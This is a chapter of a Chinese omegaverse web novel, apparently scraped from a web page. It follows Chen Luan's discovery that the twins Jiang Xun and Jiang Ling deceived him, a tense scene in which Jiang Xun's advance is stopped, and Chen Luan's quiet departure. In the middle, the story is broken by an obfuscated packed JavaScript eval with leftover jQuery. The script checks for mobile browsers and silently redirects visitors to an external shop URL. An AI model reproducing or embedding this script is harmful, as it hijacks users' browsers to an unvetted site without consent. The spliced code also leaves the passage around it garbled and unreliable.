陈乱以为他在看到那两个熟悉的人真的出现在面前的时候,他会难过,会愤怒,或者别的什么情绪。

    但当那扇门真的被推开,陈乱与那两双无数次注视着自己的眼睛遥遥对望,脑海里却只剩下一片平静的白。

    过去的那些怀抱里一点点长大的温度、慢慢从稚嫩到成熟的眉眼,以及那些在他一步步的让步与纵容之下的灼热触碰,都与过往一次次的“巧合”、一次次的试探与得寸进尺轰然相撞,然后在眼前赤裸裸的真相面前崩裂成千片万片,最后全都落下来凌乱地铺了一地,寂静成一片空荡荡的冷意。

    而当他平静且沙哑的嗓音飘落在地上的时候,空气就凝固住了。

    灿烂却没什么温度的冬日的阳光之下,陈乱就安静地坐在那里,覆了一层霜气似的雾蒙蒙的眼睛朝着两个朝夕相处了这么多年的alpha望过来。

    向上弯起来一点点细微弧度的那双略显苍白的唇像是在微笑,

    又像是在哭。

    桌面上那只被拆解开的手表敞开着胸膛,在阳光的照耀下露出了那片黑色的芯。

    两个alpha的脚步被那点漆黑钉在了原地。

    有什么东西在看不见的地方“咔嚓”一声碎裂开了。

    江翎垂在身侧的手指骤然收紧起来掐入了手掌心里,喉咙里开始变得干涩,心跳被拖着向下坠去。

    完了。

    他还是发现了。

    沉默的空气里,江浔抿了抿唇,迈步到陈乱面前站定,垂下眼来。

    “……哥哥。”

    面前年轻的alpha眉眼已经完全长开,在阳光下被映成剔透的灿金色的眼睛沉默地望着他。

    可陈乱还记得这双眼睛尚还稚嫩的时候,曾经无数次柔软地注视着他,乖巧、温和,并且带着一种雏鸟一般干净的依恋。

    都是骗他的,对吗?

    陈乱拿起了那只手表,袖口在空荡荡的手腕晃着,冰凉的手指在已经碎裂了的表镜上轻轻摩挲过去。

    “江浔。”

    “它裂开了。”

    声音温和得如同一抔死灰,却仿佛带了一阵呼啸着的尖锐的风,直直地扎进了僵硬地立在陈乱面前的alpha的耳膜。

    “……”

    干涩的喉咙里像是堵了一块带着尖锐棱角的石头,卡在那里,扎得江浔连呼吸都感到疼得困难。

    抿紧着的嘴唇微微张了张,却

    说不出任何话来。

    他的目光落在那片纯粹而干净的深蓝之上那条狰狞的裂痕,心脏像是被狠狠攥住了一般几乎停跳。

    是的。

    如陈乱所言。

    ……它裂开了。

    还能修好吗?

    窒息的沉默里,陈乱的声音再次响起来。

    “江浔。

    心跳猛颤了一下,江浔掐住了手心,抬眼看去,却冷不丁撞进了一双被大雾弥漫成冷黑色的眼。

    “……对不起。

    而那双眼睛瞧着他,忽然向上弯起来一个细微的弧度。

    他听到了陈乱发出一声叹息:

    “不,江浔。

    “是我做错。

    “是我这个做哥哥的、原来从来都没有真正了解过你……

    “不是——

    话音落下来的瞬间江浔的身形就轻颤了一下,噎着哽着嗓音试图去拉陈乱的手。

    “啪——

    拍开那只手时发出的轻微一声响,却像是摔在了alpha的脸上。

    血色褪尽。

    “别碰我。

    陈乱抬起手,轻声道。

    身侧传来轻微的脚步声。

    陈乱抬眼看过去。

    “江翎,你也是一直都知情的,对吗?

    “……

    与江浔如出一辙的那张脸在阳光下沉默着。

    陈乱垂下了眼睛,嘲讽似的弯起唇角轻轻点了点头。

    手中的那只表沁出冰凉的触感,烧进掌心,烧上喉头。

    他看着那片破碎的蓝,忽然扯着唇角笑了一声。

    礼物?

    ……好礼物。

    “……对不起,哥哥,这件事情我可以解释,我——

    “不要再叫我哥哥了。

    陈乱打断将浔,又重复了一遍:“不要再叫哥哥了。

    声音轻得仿佛一粒尘埃。

    “我不需要你的解释了,江浔。

    他抬眼看向那双颤抖中带着几分惶恐的眼睛:“毕竟你……从来也没有把我当作过哥哥,不是吗?

    那双灰色的眼睛弯着笑起来,却慢慢沁出来一些水色,含在泛红的眼眶里:

    “只是我……

    “一直自以为我在做你们的、好哥哥。

    两个alpha的身躯随着陈乱的嗓音僵硬在了原地。

    空气陷入一阵死寂。

    而陈乱捏着那块表站起来,独自越过两个alpha,朝着门口慢慢走去。

    “我有些累了,回家吧。

    顿了一下他又重新开口:

    “……回去吧。”

    外面的风很冷刀子似的剜着皮肤。

    陈乱独自走在前面冷得麻木的唇边吐出一团团白雾消散在灿金色的午后阳光里。

    而后疲惫地开门、上车、坐进后排。

    江翎沉默地开车

    回到家时太阳已经低悬在了城市轮廓的边缘。

    陈乱打开门扑面而来的温暖驱散了从外面带进来的满身寒气。

    暖色的灯光下处处都是他们一起生活的痕迹处处都是回忆。

    沙发上卷着江浔常盖着的那条小毯子右下角那个长条天妇罗抱枕是江翎喜欢搂着的。

    脚下是三双同款不同色的毛绒拖鞋阳台晾着江翎和江浔洗了挂出来的制服。

    桌上还有几个袋子里面是新鲜的蔬菜水果和一些生肉

    应该是江翎买回来准备做晚饭的。

    陈乱忽然感觉眼眶有些酸涩。

    同时又感到一种几乎要将他吞没的疲惫。

    他没有去换那双拖鞋揉着发闷的额头回到卧室将自己扔进了床铺里。

    柔软和温暖包裹着他。

    “……我去做饭。”

    江翎不敢去看陈乱的眼睛逃避似的进了厨房。

    袖口被轻轻地勾了一下。

    身边的床垫陷下去些许。

    陈乱没有睁开眼。

    一只略有些冰凉的手小心翼翼地覆上了他的手背。

    陈乱依旧没有任何反应。

    “对不起。”

    “……对不起。”

    落在耳畔的声音开始带着些沙哑。

    陈乱在沉默。

    “……你看看我好不好。”

    “不要不理我。”

    “求求你……”

    “……”

    胸口漫上来的酸涩让陈乱睁开了眼。

    面前的alpha在拥抱他冰凉的手指捧着他的脸。

    那双总是平静而温和的眼睛起了一层慌乱的水汽边缘泛起一些浮红。

    “陈乱。”

    “陈乱你看着我。”

    “你明明也是喜欢我的不是吗?”

    “我吻你的时候你明明也有感觉对不对?”

    沙哑的嗓音里带着些颤抖一直以来的平静终于被完全打破在陈乱平静得有些麻木的眼睛里开始乱了方寸。

    “陈乱。”

    “陈乱……”

    没有回应。

    江浔的喉咙里像是噎了一

    颗湿沉沉的尖锐的石头,戳得他嗓子发紧发疼。

    酸痛从鼻腔漫上眼睛,他捧着陈乱的脸吻了下去。

    呼吸与呼吸相触碰。

    陈乱没有推开,却也没有任何反应。

    他只是木然而疲惫地望着近在咫尺的那双慢慢开始变得绝望的眼睛。

    空气里沉香木与龙舌兰味道的信息素浓得化不开,不安地到处晃动。

    江浔握住了陈乱的手腕,带着一种不知所措的慌乱继续吻了下去。

    他知道陈乱喜欢他吻哪里,

    他知道怎么做能让陈乱满意,

    他知道……

    ……可是没用。<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17505208|174789||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>没有用。

    陈乱只是表情空白地望着天花板,没有发出任何声音,也没有起任何应该有的反应。

    慌乱从混乱的心跳呼吸里将alpha整个人淹没。

    直到他试图去解陈乱的皮带。

    一只温暖的手忽然落在了江浔的脑袋上,以他无比熟悉的那种力道揉了揉。

    他的动作顿住了,呼吸几乎停滞。

    头顶上落下陈乱温柔而疲惫的声音:

    “算了吧,江浔。”

    “停下吧。”

    空间凝固成一种令人窒息的安静。

    陈乱抬起江浔的下巴,低垂着眼睛看着这张慌意未散的脸,手指在后者微微颤抖的唇角摩挲了一下。

    然后把人推开。

    “出去吧。”

    “让我一个人待一会儿,好吗?”

    “……对不起。”

    卧室门被轻轻关上了。

    厚实的窗帘拉着,最后一线光随着房门的关闭逐渐变得狭窄,直到完全消失。

    陈乱躺在黑暗里,抱着被子慢慢蜷缩起身体,仿佛缩进了无形的壳。

    空气里终于响起一声压抑的呜咽。

    双生子的休假还没结束。

    陈乱到医院取了针对感染的药每天服用,继续上班。

    只是他整个人都冷淡了下来。

    江翎和江浔不敢问,甚至不敢靠近。

    陈乱这几天似乎很忙,带回来很多文件,也不许他们碰,回家就钻进小卧室关上门不出来,而后一大早就离开。

    他们总以为,

    给陈乱一点时间,

    再给陈乱一点时间,

    总能好起来的,总会好起来的。

    毕竟他们朝夕相处了那么多年。

    陈乱曾经给了他们那么多的包容,江翎当初强吻也只不过冷了他一段时间,所以他们总能回到从前

    。

    只需要多给他一点时间,平时乖一点,总能回去的。

    陈乱生日的前一天,启微市再一次落了雪。

    江浔和江翎去仓库取了那台刻着“jmm三个字母的枪,它对陈乱意义非凡。

    冷冽的风卷着硕大的雪花直朝人衣领里灌,江浔背着沉重的枪盒,江翎提着蛋糕和一些采购回来的杂七杂八的屋子装饰品,顶着风雪回家。

    他们准备给陈乱庆生。

    这次的礼物,他一定会喜欢。

    从楼下看,家里客厅的灯亮着。

    陈乱应该在家。

    算算时间,这个点他应该也差不多到家了。

    两个人加快了步伐,靴子将地面上厚厚的一层雪踩得泥泞而凌乱。

    江翎打开了门,属于家的温暖的灯光和暖意朝他拥抱过来。

    他兴冲冲地举着蛋糕进来:

    “陈乱!

    “猜猜看我们给你带回来了什么?

    雀跃的声音在温暖的屋子里回响。

    却没有收到任何回音。

    江翎的表情一僵,一种突如其来的慌张从心底泛出来。

    “……陈乱?

    亮堂堂的客厅里空荡荡没有人影。

    陈乱的卧室门敞开着。

    寂静到窒息的空间里响起重物落地的闷响。

    江浔放下那个还沾着未化的雪花的沉重箱子,几乎是踉跄着冲进陈乱的房间。

    床品是新换的,干干净净。

    衣柜里空了一些,陈乱最常穿的那几件衣服不见了。

    慌意从胸腔里轰然炸开。

    江浔僵硬着身体从陈乱的房间里出来,却看到了站在茶几边上垂着眼睛看起来极度不知所措的孪生弟弟。

    整理得很干净的茶几边缘,反射出一点金属和宝石的光芒。

    那里安放着那支碎了表镜还没来得及修复的手表,上面横贯着一条白惨惨的裂痕。

    以及一条边缘都已经被戴得圆润了一些的蓝宝石项链。

    而他的孪生弟弟看他出来,朝他露出来一个比哭还难看的表情。

    “江浔,陈乱不要我们的东西。

    “也不要我们了。